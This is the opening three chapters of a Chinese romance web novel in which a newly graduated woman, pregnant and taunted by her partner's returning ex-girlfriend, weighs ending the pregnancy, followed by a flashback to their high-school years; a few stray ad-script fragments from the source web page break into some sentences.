《盛夏的暗恋》 1. 第 1 章 《盛夏的暗恋》 文/清放 “宋先生,都知道您和您的爱人携手已经走过7年,近期有好事要跟大家分享吗?” 作为商界冉冉升起的一颗新星,宋时晏从在公众场合第一次露脸时,就备受关注,相比较于他的逆天颜值,他的创业之路也格外令人佩服,大三开始创业,仅用了四年就成功让自己的公司上市,价值上亿,最近公司团队研发出的一款专门针对抗衰老的医疗器械一经发布,遭各机构疯狂哄抢,新品的成功,再次将这个男人送上热搜。 财经报社争取了许久,才有了这么一个采访机会。 台本上准备好的问题都已经问完,原本该结束的采访,因为这个私人问题再次引起众人的关注,大家都很好奇,年轻有为的上位者,最终会迎娶陪伴他走过低谷的初恋吗? 气氛有一瞬的凝滞。 镜头后的特助蹙眉,上前就要打断这段录制,坐在沙发上的矜贵男人浑身上下都透露着生人勿近的清冷气息,他眼神阻止,只有在抚摸到手腕上那精美的红宝石袖扣时,会露出一丝不易察觉的温柔:“这个,暂时保密,有好消息一定会公开。” ....... 手里的平板正播放着宋时晏上午的采访,视频播放到这里,戛然而止,沈梨有些走神,在想宋时晏的这句‘暂时保密’是什么意思,对她而言,听了后,心里总有一点点的不舒服。 不知道是不是因为最近一直在忙毕业的事,沈梨经常觉得自己的腰有点酸,偶尔空腹忙完后,还会有点想吐的感觉。 平板上弹来好友林星洛的视频请求电话,她点了接受,画面里最先呈现出来的是月子中心墙上那行招牌标识语,随后手机里传来一个模糊的男声:“晚上给你买麻辣烫,老婆,你别把我赶出去啊!” 沈梨不禁想笑,继而看到了好友通红的小脸,还在那小声抱怨:“烦死了,吃个麻辣烫都不允许。” 沈梨帮着她老公说话:“少吃,恢复得快。” 林星洛撇了撇嘴:“我都快不知道麻辣烫什么味了,反正晚上他不给我带回来,别想进门了。” “你啊。”沈梨无奈笑了笑,“小月亮睡了吗,看看小宝贝。” 林星洛把摄像头对准了旁边的婴儿床上,小心翼翼扒拉着领口的小被子,露出完整的五官来,都不敢戳她的脸,怕碎,低声吐槽道:“皱巴巴的,长得可丑啦。” 林星洛时常怀疑人生:“总是觉得医院给我抱错了,这孩子真的是我生下来的吗。” 认识这么多年,沈梨有时候还是跟不上林星洛的脑回路:“刚生下来的孩子都是这样的,长开就好了。” “别说我了。”画面里的林星洛挑了挑眉,突然露出一副意味深长的笑来,“我都结婚生娃坐上月子了,你这跟宋总的事,什么时候提上日程啊,我可是一直等着喝你喜酒的。” “你看啊,我都想好了,我生了个闺女,你要是生个儿子,两人就是青梅竹马,长大后说不定我俩还能当个亲家,要是生了个闺女,那就是延续我俩的感情继续一起手拉手做闺蜜是不是,养成系诶,想想都觉得幸福...” 林星洛喋喋不休,畅想未来,二十年后的事都说的绘声绘色的,连沈梨一个只想过好当下的人都忍不住开始幻想了,然后,突然想到——她这个月的姨妈都推迟好几天了,还没来。 她和宋时晏每次基本都会做好措施,应该不会有什么意外,兴许是这段时间累得太狠,血气不足导致的,沈梨这样安慰着自己。 还在愣神时,又听见林星洛问起了她毕业后找工作的事,之前还在校期间,沈梨就向多个青睐的制药研发团队递过自己的简历,但无一例外的拒绝理由都是他们招人标准是要有博士学位,哪怕她在校期间已经成功发表过几篇sci论文。 沈梨一直苦恼于要不要继续攻读博士,但所攻读的方向,最合适的学校在M国,坐飞机去都要十几个小时才能抵达的国家,她自己有点犹豫,以及宋时晏应该也不太愿意。 林星洛听完后就倒吸了口凉气:“M国啊,这你要真去了,你家宋时晏估计得疯,光是你这硕士三年在隔壁市读的,都把他给忙得够呛。” 宋时晏的付出,大家都看在眼里,所以这也是沈梨一直都很纠结的点,她不愿放弃自己的事业,但也不想让宋时晏等她一年又一年,当初本科毕业时,宋时晏就已经求婚失败过一次了。 沈梨揉了揉有些抽痛的太阳穴,第一次,对自己的未来人生规划感到迷茫,似乎周遭的环境都在劝说她止步于此,不要再折腾了,在B市找份好工作,结婚生子,做个富太太,该是她现在最理想的生活状态了。 沈梨也时常劝说自己,已经被各家团队拒绝了一个遍,这或许就是上天给她的提醒,但沈梨总觉得还有些不完整。 “对了,小梨子,你知道吗,那个谁回来了吗。” “嗯?”沈梨有些发懵,“谁?” “江初月啊,宋时晏那个前女友。”林星洛有些唏嘘道,“听说她那个华裔老公死了,遗产都被继子转移了,她没分到一点,在国外混不下去就回来了。” 江初月啊... 那还真是好久没听到过这个名字了。 沈梨一时有些恍神:“哪天回来的?” “前几天吧,我也不太清楚,还是听别人说起才知道。”林星洛突然啧了声,“你说她那会人缘那么不好,回国举目无亲的,该不会找上你家宋时晏吧?” 沈梨的呼吸微窒:“可能,我也不太清楚,说不好。” 这几天,宋时晏的确有些反常的早出晚归,好像很忙,她哪怕一整天都在家,也碰不到人。 林星洛见不得她这样不自信的样子,宽慰道:“小梨子,拿出你正宫的气质来!这么多年,宋时晏对你怎么样,我们旁人不好说什么,你自己还不清楚吗!” 沈梨有些苦涩地想,如果是别的女人,或许她还不会在意,可那是江初月啊,是宋时晏情窦初开时的初恋,也是被家里人棒打鸳鸯,不得不分开的白月光。 沈梨永远会记得,事情被发现的那段时日,宋时晏为了挽回这段感情,和家里抗争,闹绝食,虽然结果依旧不尽人意。 她挂了电话,那种恶心想吐的感觉又来了,沈梨抱着垃圾桶,呕了很久,依旧是什么都还没吐出来,眼尾泛着泪,沈梨重新躺回沙发上喘息,轻轻地揉着肚皮。 每次被这么折腾一趟,都要缓上许久。 放在不远处的手机来了信息,沈梨闭眼不过两秒,又响了一声,她手脚并用爬过去,拿到手机解锁,映入眼帘的是很久没见过的彩信。 照片里是在西餐厅里点的一桌很具有赏观性的美食,另外一张,摄像头微微举高了些,将餐桌对面那个空位置上的西装完整给拍了下来,那上面的红宝石袖扣特别明显。 如果说沈梨一开始,还反应不过来,这照片是谁发的,但接下来的两条信息,完全就可以证实了对方的身份。 【沈梨,我回来了。】 【没想到这么多年过去,宋时晏还是对我言听计从的呢,你怎么一点长进也没有啊。】 沈梨的思绪有一瞬的停滞。 所以这真是被好友说中了,江初月回来就是为了来找宋时晏重续前缘的? 沈梨也不太知道自己现在该是有什么反应,她只觉得浑身冰凉,手脚发麻,有些呼吸困难。 “呕——” 沈梨跪在地毯上,几乎要把胆汁给吐出来。 厨房里的吴妈听到动静,好奇探出头看一眼,看到吐得昏天暗地的沈梨,吓一跳,扔了手里的韭菜就连忙跑到客厅,给她倒水又是拍背的:“沈小姐啊,你这是怎么了,怎么突然吐成这个样子,是不是吃坏肚子了。” 沈梨脸色煞白,好不容易缓下来,闻到那刺鼻的韭菜味,又是新一轮的呕吐,吴妈不明所以的还在递水递纸,沈梨连忙用手背捂着嘴,退后了几步:“吴妈,你,你先站远点,这个韭菜味道我闻着很难受。” 吴妈若有所思地站了起来,不知是想到了什么,她说:“要不要让宋先生带你去医院看看?” 沈梨摇头拒绝,心里的那个猜测也越来越强烈,撑着沙发站了起来:“您陪我去吧,先别跟他说,他上班忙,别让他分了心。” 吴妈连连道是。 简单收拾了下东西后,两人就打车去了市医院。 听着医生拿着她最新报告单,波澜不惊地叙述说怀孕了一个多月时,沈梨仍在茫然之中,她记得他们每次都有做好措施的,怎么还会怀上呢,这个孩子现在来的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太不是时候了... 医生解释说:“避孕套也不是百分百的。” 沈梨想了想,有些犹豫道:“医生,我现在的身体情况能将这孩子打掉吗?” 医生抬头看了她一眼:“这得先去做个检查,不过人流手术今天满了,明天来吧。” 沈梨说:“好。” 检查的单子被她随意找个垃圾桶扔了。 到一楼时,被叫去买水果的吴妈提了一袋苹果梨子在门口等着。 看她出来,上前关心道:“沈小姐,不严重吧?” 沈梨敛下眼神,下意识地摸了摸小腹:“没事,就是肠胃有些着凉,这两天可能要麻烦您做些清淡的了。” “这都是我应该做的。”吴妈好似有些失望,在那小声嘀咕,“这症状明明就是怀孕了啊,居然没怀上...” 沈梨当没有听见。 回到家后,就随便吃了点东西,回卧室去补觉了。 宋时晏下班到家的时候,吴妈正在厨房里煲汤,灶台上发出滋滋的响声。 他在玄关处换鞋,往客厅扫一眼,没看到沈梨,又看了眼鞋柜,她常常穿着出去的那双小白鞋还在,喊了一声吴妈。 “诶,怎么了。” “阿梨呢,午睡到现在?” 吴妈正在翻动食材,拿着锅铲就走出来了:“沈小姐在房间睡觉,她今天一直吐,去医院检查了下说是肠胃着凉,午饭都没怎么吃,我正给她煲着汤看能不能多喝点。” 宋时晏说了句辛苦了,又迫不及待地往房间里走,肉眼可见地担心了起来。 吴妈看着他的背影,边嘀咕边往回走:“这两孩子感情这么好,怎么还不结婚呢。” 卧室里,沈梨早就睡醒了,只不过躺在床上不太想起来。 就顺手拿起了平板在翻看着官网上最新发表的学术论文,以及一些文献。 听到小心翼翼开门的动静,她抬起头,和门口的男人对上视线。 室内窗帘紧闭,也没开灯,黑漆漆的,她手上的光亮尤为的刺眼。 宋时晏一愣,开了暖灯,昏黄光线铺洒下来,房间里暖意都好似多了几分。 他脱了外套随手搭在一旁的椅子上,走过去:“有没有好点,是不是最近忙毕业的事,累到了?” 沈梨点了下头:“应该是。” 宋时晏视线搜寻,似乎是在找着什么:“买的药呢,放哪了,别忘了吃。” “......” 她根本就没买,沈梨说:“不想吃,没开。” “没买?”宋时晏坐在床头,手伸进被子里,揉了揉她肚子,“都难受的吐了,别不放心上。” “医生有说是因为什么引起的没?除了恶心,还有哪里不舒服?” 感受着他温热的大手在肚皮上游移,沈梨抓住了他的手,下意识道问道:“宋时晏,你喜欢孩子吗?” 等看到他露出有些惊讶的神情时,沈梨才懊恼自己怎么就一时鬼迷心窍问出了口,刚想说两句找补回来,宋时晏就笑了笑:“只要是你生的,我都喜欢。” 沈梨很想问,那你还想让谁给你生,江初月吗? 性格使然,她问不出口。 宋时晏俯身下来,和往常一般,想要亲亲她的脸。 凑近过来,鼻尖钻进一道陌生的香水味,沈梨又有反应了,她不动声色地偏头躲过了这个吻。 宋时晏眼里露出不解:“阿梨?” 沈梨说:“你今天去见了客户?” 宋时晏一顿,不知是想到了什么,站直身体嗅了嗅自己:“是啊,是闻到了吗,对方香水味太重了,隔得远远的都能沾到她身上的味。” 沈梨没有什么表情:“你去洗澡,有点难闻。” 宋时晏突兀地笑了笑,故意凑上去要亲她:“这么嫌弃我?” 沈梨往后躲,手中的平板滑落在一旁,嫌弃意味很明显,在外高不可攀的宋时晏在她面前,幼稚得像个小孩:“阿梨,我被伤到了,你居然嫌弃我。” 沈梨一本正经地推开他的脸:“快去。” 没亲到的宋时晏也只能苦哈哈地双手举起,作投降状:“诶,好好好。” 沈梨忍着不适,一直等他进了浴室后,才连忙下床跑去吐了。 2. 第 2 章 第二天,沈梨起床的时候,依旧不见宋时晏的身影,偏头就看到了床头柜上摆着几个药盒子,上面还贴了张便利贴:‘每种药要吃几颗都标注了,吃了拍个照过来看看^_^’。 沈梨:“.......” 她依言,拆开药盒,按照提示,抠出相应的数字药粒,而后一把扔在了垃圾桶里,随后给他拍了照发过去:【吃了。】 宋时晏:【乖宝宝。】 沈梨来到一楼,吴妈准备了很多种早餐,她强撑着吃了一点,又因为闻到一点油腥味而猛地开始呕吐,吴妈吓坏了:“怎么这么严重,沈小姐,要不还是上医院看看吧?” 沈梨小脸苍白,抽了张纸,擦了擦嘴:“没事,您去忙吧,我自己缓会就好。” 她去了沙发客厅坐着发呆,吴妈躲在厨房里,思索了许久,觉得昨天那个医院肯定是误诊了,这沈小姐很明显的就是怀孕症状,怎么会不是呢。 她犹豫了许久,决心还是给宋时晏打个电话,响了一声,那边很快接起,语气有些困惑:“吴妈?怎么这个时候打电话过来,是阿梨她出什么事了?” “诶,宋先生,我就是跟你说一下,沈小姐她今早又吐了,什么东西都吃不下,你看你要不要回来带她去医院做个检查啊?”吴妈暗示道,“沈小姐总说是肠胃问题,我怎么瞧着都像怀孕...” ‘啪嗒’! 有什么东西摔碎了。 宋时晏夺门而出。 沈梨搜索着网上人流之后的注意事项,越看越心惊,要是小月子没坐好,对她以后的身体损伤也会很大,以及,如果要住院的话,肯定瞒不过宋时晏的。 要和他说吗?但沈梨怕听到那个不好的答案,与其等着他的决定,倒不如自己果断一点,也能省了心乱的步骤。 可在沙发上坐了许久,沈梨都依旧迈不出那个步伐,肚子里的是他们两人的孩子,是8年前的沈梨,未曾设想过的未来。 她必须得承认,即使和宋时晏过了几年蜜里调油的日子,但江初月出现时,沈梨便有了一种回到8年前的无助感,她什么都不敢再奢望。 沈梨抬手,摸了摸自己的肚子,好奇怪,明明才黄豆大小的胚胎,昨天才知道它的存在,可知道它极有可能,会从自己身体里流出去时,她竟然会觉得有些难过。 没有感情的啊,为什么会这样呢,生命真的有这么神奇吗?沈梨的眼眶渐渐红了,她低头看着自己的小腹,轻声道:“要不...还是回天上重新选对父母吧...” 不被期待着出生的孩子就算降临在这世上,也不会感到幸福的。 沈梨吸了吸鼻子,眼眸一层水雾,她拿起手机,给宋时晏发消息,在发送框输入着:【我怀孕了,不打算留下,和你...】 玄关处在这时传来动静。 有些惊慌失措,隐隐带着点兴奋的:“阿梨——” 沈梨将手机黑了屏,又连忙擦了擦眼泪:“你怎么回来了?” 宋时晏小跑,蹲在她面前,看着她那还平坦的肚子,有些不可置信,仿佛那里面已经真的有他的孩子了:“吴妈说你早上起来又吐了,我不放心,带你去医院看看。” 来时太激动,只注意去看她肚子了,抬头才发现她眼睛红的跟兔子一样,抬手摸了摸她的脸,轻拧着眉:“怎么哭了?” 沈梨找着借口:“刚看了个感人的故事,没忍住。” 她极少将时间浪费在这种娱乐上,有空不是在刷题就是在看书,宋时晏觉得哪里有些奇怪,但又觉得不至于这点事还要骗他。 “眼睛都哭红了,胀不胀啊。” 沈梨摇摇头,宋时晏两手互相摩擦了下,有些热意后,罩住了她眼睛,笑:“这样会不会舒服一点。” 他的手上有股淡淡的香味,很好闻,沈梨难得没有觉得有要想吐的感觉,视线黑暗,她静静地享受了会,而后把他手扒拉下来:“我就是肠胃有点不舒服,吐两天就好了,没事的,你快去上班吧。” “都回来了,还是去医院里看看安心点。”宋时晏脱了外套,挽起袖口往厨房那边走,“我给你做碗面,吃完了再去。” 沈梨轻叹了口气,看着手机里未发送出去的消息,默默地删了,算了,到了医院,他自然就知道了,留不留什么的,也不是他说了算。 宋时晏亲手做了一碗阳春面,卧个鸡蛋加几颗青菜,沈梨出乎意料地吃了半碗,剩下的都进了宋时晏肚子里。 两人收拾东西出门,宋时晏一路上都有些紧张,时不时看看她肚子,有些期待接下来的检查结果,要是真的怀孕了,他是不是就得开始准备婴儿房间了。 是准备男孩的还是女孩的?还是都准备算了,反正房间也不差这一个,还有这个求婚策划那边,是不是得加快进度了啊,到时月份大了,办婚礼也不太安全,诶,要不还是等生了孩子再办吧,阿梨的安危最重要,婚礼什么时候办都一样,领证才是首要的。 宋时晏甚至都已经开始计划,等求婚的事处理完后,他得给自己放一个长期产假,每天就在家里守着沈梨和孩子,哪也不去了,开车开到一半,突然想起个重要问题来——“阿梨,你早上吃的药后面吐出来了吗?” “啊...”沈梨怕他又盯着自己重新吃一遍,“应该没有。” 宋时晏眉头拧得更紧了,不知道那些药物会不会对胎儿有影响,想到这,他又是懊恼,昨晚就该带阿梨去医院看看的。 正值秋季,B市的天不冷不热的,车窗打开,微风吹在脸上,很舒服,宋时晏看了一眼,将车窗给关上了:“冷,别着凉了,宝宝。” 密闭的空间里,各种气味往鼻子里钻,她只想吐,默默按了下按钮,又把车窗给打开了,宋时晏哭笑不得,单手脱了自己的外套披在她身上:“盖好,吹感冒的话我真的要生气了。” 沈梨喜欢他这样直白的关心。 手机不合时宜地响起铃声,她看到之前那没有拉黑的号码又发来了短信。 【给了你几年时间,都没能绑着他结婚生子,沈梨,你真的怎么这么不中用啊!噢,我知道了,应该是他不愿意让你给他生孩子吧,说真的,我都有点心疼你了。】 【成绩好又能怎样,高中再怎么光芒万丈又怎么样,不还是得不到喜欢的男人的心,沈梨,你如果现在自动退出,还能留点体面,闹得太难看,对谁都不好,你说是吧。】 沈梨:【我就当你夸我了。】 沈梨:【你让宋时晏过来亲口跟我说分手两个字,或许我还会考虑一下。】 到了医院,宋时晏下意识就去挂妇产科号,沈梨提醒:“你挂错号了,应该挂消化内科。” 宋时晏摇头说没挂错,笑吟吟摸了摸她肚子:“说不定这里已经有我们的宝宝了。” 沈梨呼吸一窒,没反应过来,人就已经被拉着去走廊上等着叫号了,医院的座椅很凉,就和沈梨的手一样凉:“我怀孕,你很开心吗?” 宋时晏包着她的手,对这话感到莫名:“当然了...难道你不开心,还是暂时不太想生孩子?” 沈梨点了点头:“太早了,我才刚毕业。” 宋时晏抿唇,沉默了一会,还是搓了搓她的手:“先检查,说不定是我想多了。” 沈梨盯着他,需要他一个准确的答案:“如果真的怀上了呢?” 宋时晏那被历练得经历任何大事都会面不改色的脸,在此刻有了一丝皲裂,他勉强扯出一抹笑:“我都听你的。” 沈梨说:“我不会留下它,会打掉。” 宋时晏声音有些发哑:“...好。” 沈梨觉得也没必要进去了:“我昨天来查了,没怀上。” 宋时晏竟松了一口气,他站起来:“那我去挂个消化内科的号。” “不用。”沈梨说,“我自己的身体自己清楚,不想吃药折腾,你去上班吧,不用送,我回去了。” 她转身离开,只留下背影。 “阿梨...” 相爱数年,宋时晏总觉得沈梨像一缕摸不着的风,她永远可以把自己的生活安排得井井有条,哪怕中途出现了什么意外,也可以迅速找到补救方法回归正轨。 她独立到不需要自己。 没有他,她一样能过得很好。 甚至某种程度上来说,是宋时晏拖累了沈梨前进的脚步。 “阿梨,什么时候才愿意试着...依靠一下我啊。” - 沈梨在家待了好几天,孕吐稍有缓解。 也得益于,宋时晏的精心照顾,也不知道怎么的,吴妈的手艺比宋时晏不知道好了多少,但沈梨偏偏就吃他做的饭菜不会觉得恶心想吐。 所以吴妈短暂的失业了。 这几天都是宋时晏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在家开火,早上一碗素面,中午从公司赶回来给她做饭,晚上回来做完饭后又会继续回到公司忙碌,一直到凌晨半夜才回来。 沈梨没想让他这么辛苦来回跑,但劝说无效,每次宋时晏还得边回公司信息边盯着她必须吃多少的量进去才让她离开餐桌。 当然了,在家无聊的这段时间,江初月也没少发来挑衅信息,沈梨都懒得搭理,就像幼稚的孩童拼命想要在她面前证明着,宋时晏更喜欢她这个初恋。 沈梨不在乎,宋时晏能过就过,不能她自己也会主动离开,为他们腾出位置来。 等到孕吐最难受的那个阶段过去后,沈梨也已经在找着理由,打算离开宋时晏一段时间去做手术,那天吃完晚饭,沈梨主动开口:“今天晚上能早点回来吗?我有些话想和你说。” 宋时晏答应了,说好。 晚上九点,门口果然响起动静,外面下起了大雨,电闪雷鸣的,沈梨躺在床上看书,只觉得脑子昏昏沉沉,摘下黑框眼镜后,那种晕感好像更明确了。 宋时晏带着一身的水汽回了家,看到她在那揉太阳穴,随手拿了条毛巾擦擦手上的水,过去给她按摩,忽而碰到她额头的滚烫,俯身又用额头相贴:“发烧了啊。” 家里常备感冒药,宋时晏去一楼客厅里翻出那个急救箱,又去倒了杯热水:“别看了,早点睡。” 宋时晏把几颗胶囊放在她手上,又去收了书,沈梨看着那几颗药,心想着,反正这孩子也不留,吃了应该也没什么影响。 沈梨吃完后,宋时晏又扶着她后脑勺让她睡下,掖好被子:“我先去洗澡,晚上要不要我陪着睡?” 鉴于感冒是个流感,具有传染性,虽不致命,但也很难受,影响工作状态,所以一般两人谁感冒了,都会默契地选择分开睡。 不过也不全都是默契的时候,宋时晏先生病时,一定会让沈梨离他十万八千里远,相反,沈梨感冒时,除了第二天有不能出一点差错的工作,其他时候,宋时晏基本还是赖在她身边,而沈梨则是看心情收留。 沈梨眨了眨眼睛,想到她明天要离开一段时间,还是很舍不得他,难得语气软软:“留下吧。” 宋时晏弯了弯唇,亲了下她的额头:“好。” 沈梨还记着要跟他说的事,一直暗示着自己别睡别睡,但听着窗外富有节奏的雨声,以及药性加持,等宋时晏洗完出来时,她还是睡着了。 宋时晏小心翼翼上了床,隔着被子搂住了她的药,看着她恬静的睡颜,忍不住轻轻点了下她鼻尖:“特意从求婚现场赶回来就是为了让我看你睡觉的吗?不是有话要跟我说?” 睡着了的人,没有任何回应。 宋时晏凑过去亲了下她因闷在被子里而发红的鼻尖:“看你睡觉也是件让我感到很幸福的事,宝宝。” 半夜,窗外凭空出现一道惊雷。 沈梨从梦中惊醒,意识涣散,正要迷迷糊糊的再次睡过去,突地听见了一道压制着说话的人声。 “一定要现在?都半夜了,外面还下着雨啊。” “你说的,这是最后一次了,江初月,你最好是说话算话。” “行行行,别哭了,哭得人心烦,地址发我,我真是欠你的。” 男人蹑手蹑脚地下了床穿衣服,窸窸窣窣一阵动静后,他绕到床边,轻轻用手探了探沈梨的额头:“怎么还是这么烫...” 找来退烧贴,小心翼翼地贴在她额头上,又将床头柜上那空了的保温杯接满了热水,看着沈梨因为发烧而通红的小脸,他满眼的怜爱,凑上前亲了亲:“等我回来。” 随后才迎着瓢泼大雨出了门。 “咳...咳咳...” 沈梨挣扎着从床上坐起,拿到手机翻到那个一直不间断给她发信息的号码,拨了个电话过去,那边很快接起,传来江初月得意的声音:“还不相信么,只要我一个电话,他便会立马赶来。” 证据摆在眼前,是沈梨无论如何也欺骗不了自己的,哪怕可能现在确实不喜欢了,可半夜一个电话就能叫过去的私情,沈梨也无法接受,她一直以来,都很介意任何和江初月沾边的事。 她不是不在意,只是在逞强而已。 沈梨无力扯了扯唇:“江初月,你赢了,我退出。” 和八年前一样。 宋时晏的心里总有一个江初月的位置。 3. 第 3 章 那年盛夏,蝉鸣声不绝如缕。 沈梨迎来了自己的高二,也是她寄人篱下在大伯家的第二年,大清早,在大伯母略带嫌弃的埋怨中,她骑着掉了漆、被社会淘汰下来的老式单车,踏进了南城一中的校门。 自行车停车棚里,她刚上了锁,便听到不远处传来理打打闹闹有些熟悉的声音:“我说,晏哥,你最近也恁缺德了,怎么就知道陪你女朋友。” “啧,这小日子过得是真潇洒了。” 宋时晏将手里的钥匙抛着玩,笑骂道:“我看你们是嫉妒我找了个大美女。” 勾着他肩膀的黎荇虽然很看不惯他的嘚瑟,但也不得不承认这是个事实,笑着用手肘杵了下他的腰:“滚蛋。” 宋时晏被戳得不设防,‘哐当’一声,钥匙掉在了地上,他脚步一顿,弯腰去捡,身侧的两人也跟着停了脚步,自行车轱辘停止转动,然后十分中二的给前面的沈梨敬了个礼,声音洪亮:“班长早上好!” 沈梨似乎已经习惯这样的打招呼方式,无意撇了眼那人,在他抬起头之前,先收回了视线,淡淡道:“早上好。” 宋时晏只来得及看到她的背影。 等人走后,黎荇立马小声道:“班长这样的冷面罗刹是不是都不知道感情是个什么玩意,整天就琢磨着刷题刷题了。” 宋时晏对沈梨没什么印象,只知道班长是个话十分少的学霸,耸了耸肩:“学霸的精神世界嘛,我们这等凡人肯定捉摸不透的。” 黎荇不客气地笑:“你个学渣肯定不会懂。” 宋时晏阴测测地磨牙,说着就要伸手去抓他脖子:“黎荇,我看你是皮痒了。” 黎荇扯了老虎须,拔腿就跑,宋时晏一边追,一边叫嚷:“你让我抓到,你就死定了!” 停好自行车的男生也紧随其后加入‘战争’中。 少年在满是绿茵的校园里追逐,他们嬉笑打闹,在几乎压垮的沉重学业里,享受这难得的青春瞬间。 - 周一的早自□□是带着一股淡淡的死意,学生都有气无力地朗读着,只要在负责老师经过旁边时,才会刻意的读大声一点。 提前十分钟下自习,去食堂吃完早饭后就要尽快去操场集合,进行每周一次的升旗仪式,打铃声响起后,走廊里吵吵闹闹的,沈梨的黑框眼镜被人撞得险些掉落,她抬手扶正。 好友周薇挽着她胳膊,突然有些激动地晃了晃,小声道:“梨梨,你看前面,他们胆子好大啊。” 沈梨抬眼望过去,一眼看到了宋时晏圆润饱满的后脑勺,他穿着蓝白色校服,身高高挑,在一些还没发育完全的学生里显得格外出众。 周薇在旁边解说:“还有老师在前面走呢,居然就敢堂而皇之的牵手了。” 沈梨这才去注意他的旁边,矮了一个头的女生,披着齐肩的直发,靠在他肩膀处,两手紧握着男生的大手,金童玉女,连背影看上去,都那么般配。 沈梨抿了抿唇,挪开视线:“你待会吃什么?” 周薇轻易地被她转移了思绪,思考了一会:“想吃面诶,但是时间应该有点来不及了,随便吃点吧。” “我们现在跑着去应该来得及。” 周薇眼睛亮了亮:“那还等什么,跑起来啊!” 她拽着沈梨的手就在走廊里穿梭着,边跑边低声说道:“对不起,麻烦让让。” 与宋时晏他们擦肩而过时,沈梨忽然在想,她会不会因此被注意,看上她的背影一眼,又或者是,并不在意。 等跑完一段停下来,她也不敢回头去看,只是惊觉,自己刚刚都在做些什么乱七八糟的? 繁琐枯燥的升旗仪式结束后,因为这周班上的纪律分扣的有点多,排名倒数,作为班长的沈梨被班主任提醒,去办公室等着——训话。 高二开学以来,每隔上一段时间,沈梨都要被这么教育一次,哪怕扣的那几分,和她没有什么关系。 周薇有些同情地看了她一眼:“那我直接去教室啦?真的不用我陪着你吗。” 班主任所待的大办公室和高二教学楼,不在同一栋,沈梨摇了摇头:“你去吧。” “等下...”周薇盯着她的脸,忽然凑近,“你脸上好像沾了什么东西,我给你弄下。” 沈梨站在那,乖巧得由她弄。 周薇轻扫了一下,那白点东西还在,她皱眉,用了些力,越凑越近,说话间呼吸都喷洒在了沈梨脸上:“怎么还弄不干净了。” 沈梨的肤色是偏黑的,所以脸上沾个什么浅色东西,就很明显,周薇擦不掉,就打算强行抠:“梨梨,我怎么感觉你这——” 沈梨突然想到什么,猛地往后退了一步,下意识捂住了自己的脸,周薇手僵在那,眨了眨眼,还是第一次在班长脸上看到这种类似惊慌的情绪,她有些小心翼翼:“怎、怎么了,我弄疼你了吗?” 沈梨:“没,弄不掉就算了,你先回教室吧。” 周薇哦了一声:“好。” 她扭头,跟着大部队往教学楼方向挪,忽而注意到了自己的大拇指,不知道从哪里弄得,无端脏了,染上一层灰,拍还拍不干净。 沈梨去了个暂时没有人的厕所,洗手池那里镶了一面镜子,她凑近往前看,被周薇蹭过的地方,果然露出部分白来,肤色不均,看上去就很奇怪。 她从校裤口袋里翻出一盒肤色遮瑕膏,指腹在偏黑的色号上涂抹了一圈,又在那蹭白的地方,点涂着,将肤色统一的均匀了,才罢休。 沈梨轻轻叹了口气,低声嘟囔着:“等到冬天就好了。” 从厕所出去后,她往右边走,穿过一个竹林角,便可以绕近路去老师办公室,刚要跨过那做摆设的矮篱笆,忽地就听见旁边的视野死角里有人在说话。 那声音的主人,她听出来了。 “你最近,挺风流啊,听说有好几个女生都在追你诶。”江初月笑了笑,“怎么,没有你喜欢的类型吗,为什么不谈。” “嗯?”男生话里带着意味不明的调侃,“这和你有什么关系,你都有人了,还来管我?” 江初月故作生气的锤了下他的肩膀:“干嘛,你也会吃醋吗?我还以为,你一点都不在意我呢。” “大姐,是你在这堵住我。”男生耸了耸肩,“要没事,放我走?” 江初月撅了噘嘴:“秦渊,你真烦,回去我要跟阿姨告状,说你在学校欺负我。” “随便你。” 秦渊莞尔,扯了扯被整皱的校服领口往外走,和没来得及逃掉撞个正着的沈梨尴尬对望了一眼,然后不甚在意地绕过她离开。 沈梨不太自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在地扶了下并没有掉动的黑框眼镜,再一抬眼,就对上了江初月的眼神,对方愣了一下,也没有一种被发现的尴尬,自然道:“班长啊,你怎么在这。” “去办公室,绕近路。” 江初月了然地啊了一声,还往旁边让了下路,笑道:“是不是老陈又叫你过去挨训了?班长,我看你要不还是别当这个官了吧,平日里装个b什么的是挺爽的,但你这老是挨骂,你一个女生真受得了吗?” 要是以往,沈梨对这种话,估计听听就走了,她不喜欢把时间浪费在这种无用的争执上,但是今天,她想了想,提醒道:“你上周扣的分还挺多的。” “额....” 江初月嘴角抽了抽,也没想到她会这么说,下意识为自己辩论道:“我什么也没干啊,我不就是迟到了两分钟而已,我都好脾气地求着让他们划掉了,可那些人就喜欢搞官腔,非得记名字,我能有什么办法。” 沈梨轻轻地拧了下眉:“你可以早起5分钟,就不会发生这种事了。” “好呢,班长,扣分最多的也不是我。”江初月的圆眸眨了眨,笑嘻嘻地,“你要雨露均沾,去每一个人面前都这么提醒哈。” 她在沈梨看不到的视野里翻了个白眼,转身离开回了教室,沈梨在原地驻足了一会,不知道江初月刚刚的这个行为,算不算得上是...做了对不起宋时晏的事。 听对话,他们住的好像还挺近的,关系有些亲密,但这些,跟她也没什么关系。 办公室里,沈梨站的那跟兵似的,抬头挺胸,听着老陈老话常谈,将她都能倒背如流的话反反复复说了两三遍后,最后用一句话总结就是:“沈梨,你是班长,班级里的领头人,要带着那些班干部一起帮着各科老师把课堂纪律管好,这样班级氛围才能更好,认真搞学习的人也就多了,知道吧。” 沈梨点了点头。 老陈喝了口茶,又用那浑浊的眼睛瞅她,忽而‘啧’了声:“跟你说过多少次了,不要留那么厚重的刘海,都快把眼睛给遮住了,影响视力,把这头发全都扎上去,人不显得精神点?” 老陈是个上了年纪的中年妇女。 这几年可能是到了更年期,她情绪总是反复无常,可能上一秒还在很严厉的训你,下一秒就开始揪着一些不重要的事唠唠叨叨,但对沈梨这种为尖子生,她有一套别的说教。 所以沈梨每次来,说是训,其实也就是跟她讲一堆大道理,不厌其烦的讲,老陈说不腻,她都听得耳朵起了茧子,以至于每次升旗结束被叫到办公室后再回教室时。 她那永远面无表情的一张脸,会想不通地拧眉,久而久之,只要沈梨被叫到办公室,大家就默认她是去挨训的。 好学生又咋了,老陈不还是一视同仁。 有些学生背地里会幸灾乐祸的说:“班长都被骂得要怀疑人生,我突然觉得自己心理好像平衡点了。” 